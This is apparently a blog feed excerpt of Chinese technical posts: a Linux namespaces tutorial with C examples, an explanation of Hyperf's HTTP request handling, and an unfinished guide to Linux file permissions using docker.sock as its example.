Segment::load_cache_block,尝试根据块号从缓存中读取相应块数据,如果不存在就从文件读取并缓存。至此,关于 WAL 项目的介绍已经结束。在文章开头我提到过,这个项目的代码量并不多,因此我非常推荐大家去看看源代码。无论你是想学习 Rust 语言还是 WAL 的设计,看完之后一定会有所收获。
当然,如果你还能找到一些 Bug,那就更好了。 :-P
2024.06.05 更新:
目前,该项目已贡献给 rosedblabs/wal-rs,并由 rosedblabs 社区继续维护。her-cat/wal-rs 将不再更新。
]]>原文:Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces
随着 Docker、Linux Containers 这些工具的出现,将 Linux 进程隔离到自己的小系统环境中隔离变得非常容易。这使得在一台真实的 Linux 机器上运行各种各样的应用成为可能,并确保它们之间不会互相干扰,而无需使用额外的虚拟机。这些工具为 PaaS 服务商带来了巨大的福音。但是这背后到底是如何实现的呢?
这些工具依赖于 Linux 内核的许多功能和组件。其中一些功能是最近才引入的,而另一些则仍然需要你为内核本身打补丁才能正常使用。但其中一个关键组件,即使用 Linux 命名空间,该组件自 2008 年 2.6.24 版本发布以来就一直是 Linux 的功能。
在本文中我们将介绍基础知识:什么是 Linux 命名空间、它们的用途是什么以及如何创建 Linux 命名空间?任何一个熟悉 chroot 的人应该都对 Linux 命名空间的功能以及通常如何使用命名空间具有基本的了解。就像 chroot 允许进程将任意目录视为系统根目录(独立于其它进程)一样,Linux 命名空间还允许进程独立修改操作系统的其它内容,这包括进程树、网络接口、挂载点、进程间通信资源等等。
什么是 Linux 的命名空间?为什么要使用命名空间?在单用户计算机中,单一系统环境可能没有问题。但在服务器上,如果想要运行多个服务,则必须尽可能将这些服务互相隔离,这对于安全性和稳定性至关重要。想象在一台服务器上运行了多个服务,其中一个服务被入侵者破坏了。在这种情况下,入侵者也许可以利用该服务入侵其它服务,甚至可能危及整个服务器。命名空间隔离可以提供一个安全的环境来消除这种风险。
举个例子,使用命名空间可以在服务器上安全地执行任意或未知的程序。最近像 HackerRank、TopCoder、Codeforces 这样编程竞赛和「黑客马拉松」平台越来越多,这些平台大多数都利用了自动化流水线来运行和验证参赛者提交的程序。通常我们不可能提前知道参赛者提交的程序的真实性质,有些甚至可能包含恶意元素。通过在与系统其它部分完全隔离的命名空间中运行这些程序,对这些程序进行测试和验证,而不会使机器的其它部分面临风险。同理,在线持续集成服务(例如 Drone.io)会自动拉取你的代码仓库并在他们自己的服务器上运行测试脚本。同样,命名空间隔离使得安全地提供这些服务成为可能。
像 Docker 这样的命名空间工具还可以更好的控制进程对系统资源的使用,这使得此类工具备受 PaaS 服务商的欢迎。Heroku 和 Google App Engine 等服务使用此类工具在同一真实硬件上隔离和运行多个 Web 服务器应用程序。这些工具使它们可以运行每个应用程序(可能是由任何一个用户部署的),而无需担心某个程序占用太多系统资源,或者与同一台机器上部署的其它服务发生干扰或冲突。通过这种进程隔离,甚至可以为不同的隔离环境提供完全不同的依赖软件栈和版本。
如果你使用过 Docker 这样的工具,你应该已经知道了这些工具能够在小型「容器」中隔离进程。在 Docker 容器中运行进程,就像在虚拟机中运行它们一样,只是这些容器比虚拟机轻得多。虚拟机通常在操作系统上模拟硬件层,然后在硬件层上运行另一个操作系统。这样就可以在虚拟机内运行进程,与真实操作系统完全隔离。但是虚拟机太重了!在 Docker 容器中,使用了真实操作系统的命名空间和其它一些关键功能,确保提供与虚拟机类似的隔离级别,但无需模拟硬件和在同一台机器上运行另一个操作系统。这使得 Docker 容器非常轻量级。
一直以来,Linux 内核只维护一个进程树。该进程树包含运行在当前父子层次结构中每个进程的引用。一个进程只要有足够的权限并满足某些条件,就可以向另一个进程附加跟踪器来检查它,甚至可以杀死它。
通过引入 Linux 命名空间,使得拥有多个「嵌套的」进程树成为可能。每个进程树都可以拥有一组完全隔离的进程。这可以确保属于一个进程树的进程无法被检查或杀死,事实上甚至无法知道其它同级或父级进程树中进程的存在。
每次启动装有 Linux 的计算机时,它都只会启动一个进程,进程标识符(PID)为 1。该进程是进程树的根,它通过执行适当的维护工作和启动正确的守护进程/服务来启动系统的其余部分。所有其它进程都从进程树中这个进程的下面开始。PID 命名空间允许我们用自己的 PID 1 进程分拆出一颗新的进程树。这样做的进程仍然保留在父命名空间的原始进程树中,但会使子进程成为其自身进程树的根。
通过 PID 命名空间隔离,子命名空间的进程无法知道父进程的存在。然而,父命名空间的进程具有子命名空间中进程的完整视图,就像它们是父命名空间中任何其它进程一样。

创建一系列嵌套的子命名空间:一个进程在一个新的 PID 命名空间中启动一个子进程,该子进程又在一个新的 PID 命名空间中产生另一个进程,以此类推。
通过引入 PID 命名空间,单个进程现在可以有多个与其关联的 PID,每个 PID 都对应于它所属的命名空间。在 Linux 源代码中,我们可以看到名为 pid 的结构体过去只能跟踪一个 PID,现在可以通过名为 upid 的结构体来跟踪多个 PID:
struct upid {
int nr; // the PID value
struct pid_namespace *ns; // namespace where this PID is relevant
// ...
};
struct pid {
// ...
int level; // number of upids
struct upid numbers[0]; // array of upids
};
为了创建一个新的 PID 命名空间,必须使用特殊标志 CLONE_NEWPID 调用 clone() 系统调用(C 提供了一个包装器来暴露该系统调用,许多其它流行的语言也是如此)。下面讨论的其它命名空间也可以使用 unshare() 系统调用创建,而 PID 命名空间只能在使用 clone() 产生新进程时创建。一旦使用该标志调用 clone(),新进程就会立即在新进程树下的新 PID 命名空间中启动。这可以使用一个简单的 C 程序来演示:
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>
static char child_stack[1048576];
static int child_fn() {
printf("PID: %ld\n", (long)getpid());
return 0;
}
int main() {
pid_t child_pid = clone(child_fn, child_stack+1048576, CLONE_NEWPID | SIGCHLD, NULL);
printf("clone() = %ld\n", (long)child_pid);
waitpid(child_pid, NULL, 0);
return 0;
}
使用 root 权限编译并运行该程序,你将会注意到类似于以下内容的输出:
clone() = 5304
PID: 1
从 child_fn 打印出来的 PID 为 1。
尽管上面的示例代码并不比某些语言的「Hello world」长多少,但其幕后发生了很多事情。 正如你预期的那样,clone() 函数通过克隆当前进程创建了一个新进程,并在 child_fn() 函数的开头处开始执行。然而,在这样做的同时,它将新进程从原始进程树中分离出来,并为新进程创建了一个单独的进程树。
尝试用以下代码替换 static int child_fn() 函数,从隔离进程的视角打印父 PID:
static int child_fn() {
printf("Parent PID: %ld\n", (long)getppid());
return 0;
}
请注意,从隔离进程的视角来看,父 PID 为 0,表示没有父进程。尝试再次运行相同的程序,但这一次,从 clone() 函数调用中删除 CLONE_NEWPID 标志:
pid_t child_pid = clone(child_fn, child_stack+1048576, SIGCHLD, NULL);
这次,你将会注意到父 PID 不再是 0:
clone() = 11561
Parent PID: 11560
然而,这只是本文的第一步。这些进程仍然可以不受限制地访问其它公共或共享资源。例如,网络接口:如果上面创建的子进程要监听 80 端口,它将阻止系统上所有其它进程监听该端口。
这就是网络命名空间发挥作用的地方。网络命名空间允许每个进程看到一组完全不同的网络接口。甚至每个网络命名空间的环回接口也是不同的。
将进程隔离到它自己的网络命名空间,这需要介绍 clone() 系统调用的另一个标志:CLONE_NEWNET:
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>
static char child_stack[1048576];
static int child_fn() {
printf("New `net` Namespace:\n");
system("ip link");
printf("\n\n");
return 0;
}
int main() {
printf("Original `net` Namespace:\n");
system("ip link");
printf("\n\n");
pid_t child_pid = clone(child_fn, child_stack+1048576, CLONE_NEWPID | CLONE_NEWNET | SIGCHLD, NULL);
waitpid(child_pid, NULL, 0);
return 0;
}
输出:
Original `net` Namespace:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: enp4s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT group default qlen 1000
link/ether 00:24:8c:a1:ac:e7 brd ff:ff:ff:ff:ff:ff
New `net` Namespace:
1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN mode DEFAULT group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
这里发生了什么?物理以太网设备 enp4s0 属于全局网络命名空间,从该命名空间运行「ip」 工具可以看出这一点。然而,物理接口在新的网络命名空间中并不可用。此外,环回设备在原始网络命名空间中处于活跃状态,但在子网络命名空间中处于「关闭」状态。
为了在子网络命名空间中提供可用的网络接口,则必须设置跨多个命名空间的额外「虚拟」网络接口。一旦完成,就可以创建以太网桥,甚至可以在命名空间之间路由数据包。最后,为了使整个工作正常进行,必须在全局网络命名空间运行「路由进程」以接收来自物理接口的流量,并通过合适的虚拟接口将它路由到正确的子网络命名空间。看到这里,也许你能理解为什么像 Docker 这样能帮你完成所有这些繁重工作的工具如此受欢迎了!

需要手动执行该操作,你可以通过从父命名空间运行单个命令在父命名空间和子命名空间之间创建一对虚拟以太网连接:
ip link add name veth0 type veth peer name veth1 netns <pid>
此处 <pid> 应该替换为在父命名空间观察到的子命名空间中进程的进程 ID。运行此命令会在这两个命名空间之间建立类似管道的连接。父命名空间会保留 veth0 设备,并将 veth1 设备传递给子命名空间。任何进入一端的东西都会从另一端出来,就像你对两个真实节点之间的真实以太网连接所期望的那样。因此,必须为该虚拟以太网连接的两端分配 IP 地址。
Linux 同样也为系统所有挂载点维护了一个数据结构。它包括像挂载了哪些磁盘分区、它们被挂载到了哪里、是否只读等信息。有了 Linux 命名空间,就可以克隆这一数据结构,这样不同命名空间下的进程就可以改变挂载点,而不会互相影响。
创建单独的挂载命名空间的效果类似于使用 chroot()。虽然 chroot 很好,但是它不能提供完整的隔离,其效果仅限于根挂载点。创建单独的挂载命名空间允许每个隔离进程对整个系统的挂载点结构具有与原始挂载点结构完全不同的视图。这允许你让每个隔离进程拥有不同的根,以及特定于这些进程的其它挂载点。根据本文谨慎使用,可以避免暴露底层系统的任何信息。

为了实现此目的,clone() 所需的标志是 CLONE_NEWNS:
clone(child_fn, child_stack+1048576, CLONE_NEWPID | CLONE_NEWNET | CLONE_NEWNS | SIGCHLD, NULL)
最初,子进程看到与父进程完全相同的挂载点。然而,在新的挂载命名空间下,子进程可以挂载或卸载任何它想要的端点,并且更改不会影响父进程的命名空间,也不会影响整个系统中任何其它的挂载命名空间。例如,如果父进程在根目录挂在了一个特定的磁盘分区,则隔离进程一开始就会看到在根目录下挂载的完全相同的磁盘分区。但是,当子进程出尝试将根分区更改为其它分区时,挂载命名空间隔离的好处就很明显了,因为更改只会影响隔离的挂载命名空间。
有趣的是,这实际上使得直接使用 CLONE_NEWNS 标志创建目标子进程成为一个坏主意。更好的方式是使用 CLONE_NEWNS 标志启动一个特殊的「init」进程,让该「init」进程根据需要修改 /、/proc、/dev 或其它挂载点,然后再启动目标进程。在本文的末尾,我们将对此进行更详细的讨论。
这些进程还可以被隔离到其它命名空间中,即用户、IPC 和 UTS。用户命名空间允许一个进程在命名空间中拥有 root 权限,但不允许进程访问命名空间外的进程。通过 IPC 命名空间隔离进程可以为其提供自己的进程间通信资源,例如,System V IPC 和 POSIX 消息。UTS 命名空间隔离了系统的两个特殊标识符:nodename 和 domainname。
下面是一个展示 UTS 命名空间如何隔离的简单示例:
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <unistd.h>
static char child_stack[1048576];
static void print_nodename() {
struct utsname utsname;
uname(&utsname);
printf("%s\n", utsname.nodename);
}
static int child_fn() {
printf("New UTS namespace nodename: ");
print_nodename();
printf("Changing nodename inside new UTS namespace\n");
sethostname("GLaDOS", 6);
printf("New UTS namespace nodename: ");
print_nodename();
return 0;
}
int main() {
printf("Original UTS namespace nodename: ");
print_nodename();
pid_t child_pid = clone(child_fn, child_stack+1048576, CLONE_NEWUTS | SIGCHLD, NULL);
sleep(1);
printf("Original UTS namespace nodename: ");
print_nodename();
waitpid(child_pid, NULL, 0);
return 0;
}
该程序产生以下输出:
Original UTS namespace nodename: XT
New UTS namespace nodename: XT
Changing nodename inside new UTS namespace
New UTS namespace nodename: GLaDOS
Original UTS namespace nodename: XT
在这里,child_fn() 打印了 nodename,并将其改为其它内容,然后再次打印。当然,更改仅发生在新的 UTS 命名空间内。
关于所有命名空间提供和隔离的更多信息可以在该教程中找到。
父命名空间和子命名空间之间通常需要建立某种通信。这可能是为了在隔离环境中进行配置工作,也可能只是为了保留从外部窥探该环境状况的能力。其中一种方法是在环境内部运行 SSH 守护进程。你可以在每个网络命名空间内安装一个单独的 SSH 守护进程。然而,运行多个 SSH 守护进程会使用大量宝贵的资源(例如内存)。这时,使用一个特殊的「init」进程再次被证明是一个好主意。
「init」进程可以在父命名空间和子命名空间之间建立通信通道。该通道可以基于 UNIX 套接字,甚至可以使用 TCP。要创建一个跨两个不同挂载命名空间的 UNIX 套接字,你需要先创建子进程,然后创建 UNIX 套接字,最后将子进程隔离到单独的挂载命名空间中。但是我们怎样才能先创建进程,然后再隔离它呢?Linux 提供了 unshare()。这个特殊的系统调用允许进程将自身与原始命名空间隔离,而不是让父进程先隔离子进程。例如,下面的代码与前面在网络命名空间提到的代码具有完全相同的效果:
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>
static char child_stack[1048576];
static int child_fn() {
// calling unshare() from inside the init process lets you create a new namespace after a new process has been spawned
unshare(CLONE_NEWNET);
printf("New `net` Namespace:\n");
system("ip link");
printf("\n\n");
return 0;
}
int main() {
printf("Original `net` Namespace:\n");
system("ip link");
printf("\n\n");
pid_t child_pid = clone(child_fn, child_stack+1048576, CLONE_NEWPID | SIGCHLD, NULL);
waitpid(child_pid, NULL, 0);
return 0;
}
由于「init」进程是你设计的,所以你可以先让它完成所有必要的工作,然后再执行目标子进程之前将其自身从系统其余部分隔离。
本文概述了如何在 Linux 中使用命名空间,然后逐步解释了 Linux 命名空间。它将让你对 Linux 开发人员如何开始实施系统隔离(Docker 或 Linux 容器等工具架构中不可或缺的一部分)有一个基本概念。在大多数情况下,最好使用这些现成的工具之一,因为这些工具已经广为人知并且经过了大量的测试。但在某些情况下,拥有自己定制的进程隔离机制可能是有意义的,在这种情况下,本文将为你提供极大的帮助。
实际上,幕后发生的事情比我在本文中介绍的要多得多,并且你可能希望通过更多方法来限制你的目标进程以提高安全性和隔离性。不过,希望这篇文章能为那些有兴趣进一步了解 Linux 命名空间隔离如何真正发挥作用的人提供一个有用的起点。
]]>在 HTTP 服务启动时,Hyperf 会向 Swoole 注册请求事件处理函数。当收到 HTTP 请求时,Swoole 会调用该函数。
在 HTTP 服务启动后,当我们向 HTTP 服务发送请求时,HTTP 请求会被发送到 Swoole 中。Swoole 会将 HTTP 报文解析成 HTTP 请求对象,并构造出一个 HTTP 响应对象。
接着,Swoole 会调用请求事件处理函数,将请求和响应对象作为参数传递给该函数。在该函数中完成对请求的处理,并调用响应对象发送响应内容。

在这篇文章中,我们将分三个部分介绍 Hyperf 中 HTTP 服务处理请求的过程,在第一部分将会介绍如何注册 HTTP 服务的请求事件处理函数,第二部分会介绍如何处理 HTTP 请求并发送响应内容。
在 HTTP 服务启动时,Hyperf 需要向 Swoole 注册请求事件处理函数,那么在 Hyperf 中这个处理函数是什么呢?
在 HTTP 服务「读取服务配置」阶段,会从 config/autoload/server.php 配置文件中获取配置信息,其中 Event::ON_REQUEST 是请求事件的枚举值,Hyperf\HttpServer\Server::onRequest() 就是请求事件的处理函数。
return [
...
'servers' => [
[
...
'callbacks' => [
Event::ON_REQUEST => [Hyperf\HttpServer\Server::class, 'onRequest'],
],
],
],
...
]
在「初始化 HTTP 服务」阶段,将请求事件处理函数注册到 Swoole 中,这部分工作的主要内容如下所示:
foreach ($events as $event => $callback) {
...
[$className, $method] = $callback;
$class = $this->container->get($className);
if (method_exists($class, 'setServerName')) {
// 设置服务名称
$class->setServerName($serverName);
} // 初始化核心中间件
if ($class instanceof MiddlewareInitializerInterface) {
$class->initCoreMiddleware($serverName);
}
...
// 注册事件处理函数
$server->on($event, $callback);
}
在 initCoreMiddleware() 方法中,初始化了 HTTP 服务的路由信息,并且通过服务名称获取该 HTTP 服务的中间件以及异常处理器。
public function initCoreMiddleware(string $serverName): void {
$this->serverName = $serverName;
$this->coreMiddleware = $this->createCoreMiddleware();
$config = $this->container->get(ConfigInterface::class);
$this->middlewares = $config->get('middlewares.' . $serverName, []);
$this->exceptionHandlers = $config->get('exceptions.handler.' . $serverName, $this->getDefaultExceptionHandler());
}
通过上面的内容我们可以知道,处理 HTTP 请求的逻辑是在 Hyperf\HttpServer\Server::onRequest() 方法中完成的,该方法的原型如下:
public function onRequest($request, $response): void
对于 Hyperf\HttpServer\Server::onRequest() 方法来说,我把它执行的工作分成了以下几个阶段。
在这一阶段中,需要初始化 PSR-7 请求和响应对象。这是因为,Hyperf 的标准组件都是基于 PSR 标准实现的,而底层框架可能并没有基于 PSR 标准实现,因此需要先进行兼容性适配。
[$psr7Request, $psr7Response] = $this->initRequestAndResponse($request, $response);
在 initRequestAndResponse() 方法中,先判断对象是否基于 PSR 标准,如果不是,则将其转换成 PSR-7 请求和响应对象。
在这一阶段中,调用 Hyperf\HttpServer\CoreMiddleware::dispatch() 方法,使用上面初始化好的 PSR-7 请求对象匹配路由信息。
$psr7Request = $this->coreMiddleware->dispatch($psr7Request);
在 dispatch() 方法中,使用请求对象的请求方式、请求地址匹配 HTTP 服务中的路由信息,将匹配结果转换成 Hyperf\HttpServer\Router\Dispatched 对象,并保存到新的请求对象的属性中并返回。
public function dispatch(ServerRequestInterface $request): ServerRequestInterface
{
$routes = $this->dispatcher->dispatch($request->getMethod(), $request->getUri()->getPath());
$dispatched = new Dispatched($routes);
return Context::set(ServerRequestInterface::class, $request->withAttribute(Dispatched::class, $dispatched));
}
看到这里,你可能会有疑问,为什么不将 Dispatched 直接保存到原来的请求对象的属性中?
因为这是 PSR-7 标准规定的。在 PSR-7 标准中,请求被认为是不可变的;必须实现所有可能更改状态的方法,以便它们保留当前请求的内部状态,并返回包含更改状态的实例。
也就是说,如果你想修改请求对象中的信息,那么你必须从当前对象中克隆一个新的对象,然后在新的对象中进行修改并返回新的对象。下面是 withAttribute 方法的实现:
public function withAttribute($name, $value)
{
$clone = clone $this;
$clone->attributes[$name] = $value;
return $clone;
}
知道了这一点之后,相信你以后再也不会有「为什么我设置了属性但是却拿不到值」这种疑惑了。
在 HTTP 服务中,中间件根据作用范围分为两种:全局中间件和路由中间件。
全局中间件会被应用到所有路由上,而路由中间件仅应用到部分路由上,是否应用需要根据路由匹配结果来决定。如果匹配到了路由,则从中间件管理器中获取该路由的中间件。否则,仅使用全局中间件。
$dispatched = $psr7Request->getAttribute(Dispatched::class);
// 获取全局中间件
$middlewares = $this->middlewares;
// 判断是否匹配到了路由
if ($dispatched->isFound()) {
// 通过服务名称、请求地址、请求方式获取路由中间件
$registeredMiddlewares = MiddlewareManager::get($this->serverName, $dispatched->handler->route, $psr7Request->getMethod());
$middlewares = array_merge($middlewares, $registeredMiddlewares);
}
在一切准备就绪后,Hyperf 会调用 Hyperf\Dispatcher\HttpDispatcher::dispatch() 方法,将请求对象依次交给每个中间件进行处理,然后调用核心中间件的 Hyperf\HttpServer\CoreMiddleware::process() 方法进行最终处理。
$psr7Response = $this->dispatcher->dispatch($psr7Request, $middlewares, $this->coreMiddleware);
在 Hyperf\HttpServer\CoreMiddleware::process() 方法中,主要逻辑是根据 Dispatcher 对象的状态执行相应的动作。
NotFoundHttpException 异常。MethodNotAllowedHttpException 异常。以下代码展示了这部分的执行逻辑。
public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
{
...
/** @var Dispatched $dispatched */
$dispatched = $request->getAttribute(Dispatched::class);
// 根据 `Dispatcher` 对象的状态执行相应动作
$response = match ($dispatched->status) {
Dispatcher::NOT_FOUND => $this->handleNotFound($request),
Dispatcher::METHOD_NOT_ALLOWED => $this->handleMethodNotAllowed($dispatched->params, $request),
Dispatcher::FOUND => $this->handleFound($dispatched, $request),
default => null,
};
...
}
Hyperf 支持闭包和请求处理器两种方式设置路由的处理函数,以下是这两种方式的示例。
// 闭包
Router::get('/hello-hyperf', function () {
return 'Hello Hyperf.';
});
// 请求处理器,下面三种方式的任意一种都可以达到同样的效果
Router::get('/hello-hyperf', 'App\Controller\IndexController::hello');
Router::get('/hello-hyperf', 'App\Controller\IndexController@hello');
Router::get('/hello-hyperf', [App\Controller\IndexController::class, 'hello']);
在 handleFound() 方法中,如果处理函数是闭包,则调用 parseClosureParameters() 方法解析闭包的参数,然后运行闭包。
if ($dispatched->handler->callback instanceof Closure) {
$parameters = $this->parseClosureParameters($dispatched->handler->callback, $dispatched->params);
$callback = $dispatched->handler->callback;
$response = $callback(...$parameters);
}
如果处理函数是请求处理器,则调用 prepareHandler() 方法解析出请求处理器中的控制器(Controller)和操作(Action),通过容器实例化出控制器对象,然后调用 parseMethodParameters() 方法解析操作方法的参数,最后运行该方法。
[$controller, $action] = $this->prepareHandler($dispatched->handler->callback);
$controllerInstance = $this->container->get($controller);
...
$parameters = $this->parseMethodParameters($controller, $action, $dispatched->params);
$response = $controllerInstance->{$action}(...$parameters);
处理函数执行完成后,如果返回的结果没有实现 ResponseInterface 接口,则调用 transferToResponse() 方法对其进行转换,最后返回响应对象。
if (! $response instanceof ResponseInterface) {
$response = $this->transferToResponse($response, $request);
}
return $response->withAddedHeader('Server', 'Hyperf');
有了响应对象之后,就需要将响应内容发送给客户端,这部分工作通过调用 Hyperf\HttpServer\ResponseEmitter::emit() 方法完成。
// Send the Response to client.
if (! isset($psr7Response) || ! $psr7Response instanceof ResponseInterface) {
return;
}
if (isset($psr7Request) && $psr7Request->getMethod() === 'HEAD') {
$this->responseEmitter->emit($psr7Response, $response, false);
} else {
$this->responseEmitter->emit($psr7Response, $response);
}
在 emit() 方法中,将 PSR-7 响应对象中的响应头、Cookies 以及状态码等信息写入到 Swoole 的响应对象中。然后判断响应体是否为文件对象,如果是则调用 Swoole\Http\Response::sendfile() 方法将文件发送到客户端;否则调用 Swoole\Http\Response::end() 方法发送响应内容。
public function emit(ResponseInterface $response, mixed $connection, bool $withContent = true): void
{
try {
if (strtolower($connection->header['Upgrade'] ?? '') === 'websocket') {
return;
}
// 将 PSR-7 响应对象的信息写入到 Swoole 的响应对象中
$this->buildSwooleResponse($connection, $response);
// 判断响应内容是否为文件
$content = $response->getBody();
if ($content instanceof FileInterface) {
// 发送文件到客户端
$connection->sendfile($content->getFilename());
return;
}
// 发送响应内容
if ($withContent) {
$connection->end((string) $content);
} else {
$connection->end();
}
} catch (Throwable $exception) {
$this->logger?->critical((string) $exception);
}
}
最后,我们就能够在浏览器中看到响应内容了。
在这篇文章中,我们了解了 Hyperf 处理 HTTP 请求的完整流程。希望这些内容能帮你更好地理解 Hyperf 的工作原理。
]]>在下面的例子中,可以看到当前用户是 her-cat,通过 ll 查看 /var/run/docker.sock 的文件属性。其中,第三列表示文件的所有者是 root;第四列表示文件所属的群组是的 docker;用户 her-cat 既不是所有者 root,又不在 docker 群组中,所以用户 her-cat 的对该文件来说身份是其他人。
[her-cat@centos her-cat]$ ll /var/run/docker.sock
srw-rw---- 1 root docker 0 9月 10 22:51 /var/run/docker.sock
上面的第一列 srw-rw---- 表示该文件的类型和权限,一共由 10 个字符组成。其中,第一个字符用来表示文件的类型,有以下几种类型:
d:表示为目录。-:表示为普通文件。l:表示为链接文件。b:表示为设备文件中可供储存的设备。c:表示为设备文件中的序列埠设备,例如键盘、鼠标。s:表示为套接字文件。p:表示为用于管道通信的文件。在上面的例子中,第一个字符是 s, 所以该文件是一个套接字文件。
剩余 9 个字符 rw-rw---- 用来表示文件的权限,将其拆分成三个字符为一组,一共三组,即 rw-、rw-、---,分别表示所有者、群组、其他人的权限。其中,每一组中的 3 个字符分别表示可读(r)、可写(w)、可执行(x),当拥有某项权限时,就会在相应的位置展示该权限对应的占位符(r/w/x),否则就会用 - 表示没有该项权限。
第一组的 rw- 表示所有者的权限,第一个字符 r 和第二个字符用 w 表示所有者拥有可读和可写权限,第三个字符是 - 而不是 x,表示所有者没有可执行权限。
第二组的 rw- 表示群组的权限,它与第一组相同,表示群组中的用户都拥有可读、可写权限,同样也没有可执行权限。
第三组的 --- 表示其他人的权限,与前两组不同,第三组的可读、可写、可执行都是 -,这意味着其他人没有可读、可写、可执行权限,也就是说除了所有者和群组中的用户以外,其他人不能对该文件进行任何操作。
在前面有提到,当前登录的用户是 her-cat,对应的是其他人的权限,所以我们不能对该文件执行任何操作,如果尝试读取该文件的内容,那么就会提示你没有权限读取该文件。
[her-cat@centos her-cat]$ cat /var/run/docker.sock
cat: /var/run/docker.sock: Permission denied
思考:为什么我们没有该文件的任何权限,却能看到这个文件呢?🤔
那么,作为当前用户要怎样才能拥有对该文件的操作权限呢?
我们可以从三种不同的身份下手,相应的就有以下四种方法。
我们可以使用 chown 命令来修改文件的所有者,当我们是文件的所有者时,我们也就拥有了所有者所拥有的权限(可读、可写)。该命令的用法如下:
chown = change owner
chown [-R] 用户名 文件或目录
-R 表示递归修改目录下所有文件及目录的所有者。
使用示例:
sudo chown her-cat /var/run/docker.sock
再次查看文件属性,可以看到所有者已经是 her-cat 了。
[her-cat@centos her-cat]$ ll /var/run/docker.sock
srw-rw---- 1 her-cat docker 0 9月 10 22:51 /var/run/docker.sock
当然,由于这种方法比较「邪恶」,相当于本来是别人的东西,你直接开了「金手指」给抢过来,所以非必要情况,不建议使用该方法。
既然当前用户并不在该文件所属的群组 docker 中,那么我们将该文件所属的群组改成当前用户在的群组即可。
使用 groups 命令查看当前用户所属的群组。
[her-cat@centos her-cat]$ groups
her-cat adm wheel video
选择其中的一个为目标群组,例如 wheel,然后使用命令修改文件所属的群组,可以修改文件所属群组的命令有以下两个。
第一个命令就是上面提到的 chown,该命令除了可以修改文件的所有者以外,还可以用来修改文件所属的群组,用法如下:
chown [-R] :群组名 文件或目录
chown [-R] 用户名:群组名 文件或目录
两种用法并没有太大差异,只不过第二种可以同时修改所有者和群组。
使用示例:
sudo chown root:wheel /var/run/docker.sock
再次查看文件属性,可以看到所属群组已经是 wheel 了。
[her-cat@centos her-cat]$ ll /var/run/docker.sock
srw-rw---- 1 root wheel 0 9月 10 22:51 /var/run/docker.sock
第二个命令是专门用来修改群组的 chgrp,用法如下:
chgrp [-R] 用户组 文件或目录
使用示例:
sudo chgrp wheel /var/run/docker.sock
当然,修改群组的这种方法与修改所有者有「异曲同工」的感觉,所以,同样也是非必要不建议使用。
前两种方法都有些太过于「粗暴」了,其操作的影响范围都很大,既然当前用户属于「其他人」,那我们只需要修改该文件对于「其他人」的权限即可。
我们可以使用 chmod 命令来修改文件的权限,该命令有两种符号和数字两种用法。
先来看第一种用法,使用符号来表示身份和权限,这种用法更适合我们人类进行阅读和理解,并且可操作性更强,它支持新增、修改、删除权限,下面我们来看一下如何使用。
在 chmod 命令中,分别使用 u、g、o 三个符号表示所有者、群组和其他人三种身份,还有一个特殊的 a 表示所有身份。我们可以对这些身份执行 +(新增)、-(删除)、=(修改)三个操作,相应的可读、可写和可执行权限就分别由 r、w 和 x 表示。
例如,我们现在要给所有者加上可执行权限,删除群组的可写权限,给其他人加上可读可写权限。
sudo chmod u+x,g-w,o+rw /var/run/docker.sock
查看文件属性:
[her-cat@centos her-cat]$ ll /var/run/docker.sock
srwxr--rw- 1 root docker 0 9月 10 22:51 /var/run/docker.sock
可以看到,所有者的权限由 rw- 变成了 rwx,群组的权限由 rw- 变成了 r--,其他人的权限由 --- 变成了 rw-,说明权限按照我们的预期修改成功了。
如果想要给所有身份都加上可写权限,那么只需要像下面这样即可:
sudo chmod a+w /var/run/docker.sock
第二种用法则是使用数字来表示身份和权限。
在这种用法中,分别使用 4、2、1、0 来表示 r(可读)、 w(可写)、x(可执行)和 -(没有权限),将每个身份的权限对应的数字加起来,最后得到的三个数字就是权限值。
例如当权限为 rwxr--rw-,所有者的权限 rwx 转换为数字是 421,将三个数字相加得到数字 7,那么 7 就表示所有者的权限;接下来是群组的权限 r--,转换为数字是 400,相加后为 4;最后是其他人的权限 rw-,转换为数字是 420,相加后得到 6;最后将每个身份的数字拼在一起就得到了权限值 746。
所以,当我们使用 746 作为 chmod 的参数时,就可以将文件的权限设置为 rwxr--rw-。
sudo chmod 746 /var/run/docker.sock
文件属性:
[her-cat@centos her-cat]$ ll /var/run/docker.sock
srwxr--rw- 1 root docker 0 9月 10 22:51 /var/run/docker.sock
如果想要给群组加上可写权限,可写权限 w 对应的数字是 2,在原来 4 基础上加 2 就得到了群组修改后的权限对应的数值 6,最后与所有者和其他人的数字拼在一起就得到了权限值 766。执行 chmod 命令时使用该权限值就可以将群组的权限修改为 rw-。
由于每个身份的权限的数字不会重复,所以我们可以快速的知道数字所表示的权限。例如 7 就是 4 + 2 + 1,表示拥有所有权限(可读、可写、可执行),6 就是 4 + 2,表示拥有读写权限,不可能会是 2 + 2 + 2 这样的组合,因为可写权限只能出现一次。
虽然修改其他人权限相比前两种方法更「友好」,但是该方法依然存在一些弊端。
第一,在一些情况下该方法的作用是临时的。例如上面举例使用的 /var/run/docker.sock 文件,当机器重启后该文件会被清理,再次启动 Docker,你会发现该文件依然是原来的权限。所以我们每次重启机器后,都必须重新进行授权。
第二,存在安全风险。当我们给该文件的其他人增加了读写权限后,那么就意味着系统中所有的其他用户(不是所有者并且不在所属群组中的用户)都拥有了对该文件的读写权限,而不仅仅是给当前用户。
如果我们仅仅想让当前用户拥有权限,那么只需要将当前用户加入到文件所属的群组即可,这样就可以不修改文件本身的属性来达到获得权限的目的。
我们可以使用 usermod 命令将当前登录用户添加到 docker 群组中。
